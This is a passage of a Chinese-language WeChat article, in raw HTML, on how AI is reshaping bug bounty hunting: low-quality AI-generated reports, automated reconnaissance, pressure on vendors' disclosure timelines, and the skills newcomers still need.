26px;color: black;font-size: 14px;"><span leaf="">现在，你可能是在和大量 AI Agent、自动化脚本、批量扫描工具竞争。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">速度，变得越来越重要。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">AI还制造了大量&#34;垃圾报告&#34;</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">Bug Bounty平台近年来还有另一个困扰：</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">AI降低了提交门槛。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">以前需要：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">发现漏洞</span><span leaf=""><br/></span><span leaf="">↓</span><span leaf=""><br/></span><span leaf="">验证漏洞</span><span leaf=""><br/></span><span leaf="">↓</span><span leaf=""><br/></span><span leaf="">写报告</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">如今很多变成了：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9064814814814814" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="502781655" src="https://wechat2rss.xlab.app/img-proxy/?k=8e73bbca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTKdPSwEibsZj6ia1VwqTVWYsYHvf2ulbm4lqOUUicQjJteSqrCrwwQb4e85ic6CsWj0mMostNpFg3CKbYz4WCvuMXib59Q9fVEoPicHiaYNIo4UJGQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">于是，大量低质量报告开始涌入平台。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这些报告通常存在几个问题：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">漏洞不可利用</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">问题早已被发现</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">属于误报</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">风险被夸大</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">缺少有效复现步骤</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">没有清晰说明业务影响</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于漏洞赏金平台来说，这会带来明显压力。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">审核团队需要花更多时间筛选有效报告，厂商也需要投入更多资源处理无效提交。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">有行业观察指出，AI 生成的大量低质量报告，正在增加漏洞平台的审核负担，部分项目也因此开始调整提交策略或提高审核门槛。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">换句话说，AI 让“提交漏洞”变得更简单，但也让整个生态变得更嘈杂。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">AI最容易取代的是&#34;体力劳动&#34;</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">很多新人会担心：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">以后 AI 是不是什么漏洞都能找？</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这个问题不能简单回答“是”或“不是”。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">从目前来看，AI 最擅长的，确实是一些高度重复、信息密集、流程明确的工作。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">比如：</span></p><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">信息收集</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">AI 可以帮助研究员快速完成：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">爬取网站</span><span leaf=""><br/></span><span leaf="">↓</span><span leaf=""><br/></span><span leaf="">整理 JS 文件</span><span leaf=""><br/></span><span leaf="">↓</span><span leaf=""><br/></span><span leaf="">枚举 API</span><span leaf=""><br/></span><span leaf="">↓</span><span leaf=""><br/></span><span leaf="">发现参数</span><span leaf=""><br/></span><span leaf="">↓</span><span leaf=""><br/></span><span leaf="">梳理端点</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这类工作，AI 的效率往往远高于人工。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">阅读大量代码</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">面对几十万行代码，人类研究员可能需要几天时间慢慢梳理。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">AI 则可以帮助快速建立索引，提取关键逻辑，定位可疑函数和接口。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">自动生成PoC</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于一些基础漏洞，AI 可以辅助生成测试脚本、复现步骤，甚至初步验证方案。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这些能力，确实会改变漏洞猎人的工作方式。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">但真正高价值的漏洞，往往不是靠简单扫描就能发现的。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">比如：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">复杂业务逻辑漏洞</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">权限设计缺陷</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">多系统联动问题</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">长攻击链组合</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">深藏于业务流程中的越权风险</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">需要结合产品逻辑判断的安全缺陷</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这些漏洞，往往需要研究员理解业务、理解设计、理解攻击路径。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">AI 可以提供线索，但很难完全替代人的判断。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">所以，AI 更像是在替代重复劳动，而不是彻底替代安全研究员。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">真正的问题不是“AI 会不会找漏洞”，而是：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">你会不会用 AI 找到别人找不到的漏洞。</span></p></blockquote><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">Bug Bounty可能进入&#34;工业化时代&#34;</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">Bug Bounty的行业演进：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.10833333333333334" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="502781656" src="https://wechat2rss.xlab.app/img-proxy/?k=84dc481a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTKdPSwEibsZiaCDlxDibQiaiaTsqfNfpIkFwibQsuL7FuJZGVHsM7erg5MUpqgCSmkWfU9FlhS6h8tNjdEKibYib6KVricV4u9HCIyqtocOHm05mIJx0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">因此真正值钱的不再是：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">会不会扫描。</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">而是：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">会不会思考。</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">未来漏洞猎人的竞争优势可能来自：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">更好的Prompt</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">更好的Agent流程</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">更好的验证能力</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">更好的业务理解</span></strong></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">而不是简单依赖工具。</span></p><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">未来漏洞赏金猎人的工作模式</span></span></h2><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="2.722408026755853" data-s="300,640" data-type="png" data-w="598" style="width:194px;height:528px;" type="block" data-imgfileid="502781657" src="https://wechat2rss.xlab.app/img-proxy/?k=2803c416&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTKdPSwEibsZiaEibAPE1fRofMrtHdH5n9Y368ZJdAKNJicl9E693PjpX78ugKlv38QbEI7DaWIFRRWeibInT4tTgE3fn2A6QYjGHP1NU7xz5Kyqo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div data-tool="markdown2wechat编辑器" data-website="https://aizhuanqian.com" style="color: black;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 10px;margin-bottom: 24px;" data-pm-slice="0 0 []"><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">AI也让厂商面临新的压力</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于企业来说，AI 带来的并不只是漏洞猎人变强。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">它还会让漏洞暴露速度变快。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">过去，安全研究员发现漏洞后，通常会遵循一定的披露周期，比如常见的 90 天漏洞披露窗口。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">企业有时间修复，研究员有时间验证，双方可以在相对可控的节奏内完成漏洞处理。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">但在 AI 辅助漏洞分析的时代，情况正在变化。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">有观点认为，当漏洞分析、PoC 生成、攻击路径组合都变得更快之后，传统披露周期可能会受到挑战。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">尤其是当漏洞细节或补丁差异被快速分析后，攻击者可能更快构造利用方式。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">也就是说：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">企业可能还没修复完成，攻击者已经完成了利用链。</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这对厂商提出了更高要求。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">未来企业可能需要：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">更持续的安全测试机制</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">更快的漏洞响应流程</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">AI 辅助代码审计</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">自动化修复建议</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">更严格的补丁发布节奏</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">更成熟的漏洞披露管理策略</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">安全不再只是“上线前测一次”，而是要贯穿整个软件开发生命周期。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">新人还能进入Bug Bounty吗？</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这是很多安全新人最关心的问题。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">一些一线研究员甚至认为，2026 年可能不是从零开始做 Bug Bounty 最容易的时代。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">原因很简单：</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">入门门槛降低了，但竞争门槛提高了。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">以前，一个新人只要掌握基础 Web 安全、会用工具、愿意花时间，就可能找到一些基础漏洞。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">但现在，基础扫描、常见漏洞、简单误报，正在被 AI 和自动化工具快速覆盖。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">新人如果只是停留在“会用工具”的层面，很难形成竞争力。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">但这并不意味着新人没有机会。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">真正值得培养的能力，仍然是那些 AI 难以完全替代的部分：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Web 安全基础</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">操作系统和网络基础</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">API 安全理解</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">业务逻辑分析能力</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">代码阅读能力</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">漏洞验证能力</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">报告撰写能力</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">AI 工具协同能力</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">未来真正稀缺的人才，不是“不会用 AI”的人，也不是“只会用 AI”的人。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">而是：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">能够把 AI 变成生产力的人。</span></p></blockquote><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">AI不会杀死Bug Bounty，它会淘汰一种人</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">回到最初的问题：</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">AI 会扼杀漏洞赏金产业吗？</span></strong></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">更可能的答案是：</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">不会。</span></strong></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">只要软件还存在，漏洞就会存在。 只要企业还需要外部安全研究员，Bug Bounty 就有价值。 只要漏洞赏金仍然能帮助企业发现真实风险，这个生态就不会消失。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">真正改变的，是竞争规则。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">二十年前，安全研究员比拼的是谁更会用工具。 十年前，比拼的是谁写脚本更快。 今天，比拼的是谁能更好地驾驭 AI，完成更高质量的安全研究。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">AI 不会消灭漏洞猎人。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">但它会淘汰那些只会机械扫描、重复提交、缺乏业务理解和独立思考能力的人。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">未来的 Bug Bounty，将不再是简单的“谁扫得多”，而是：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 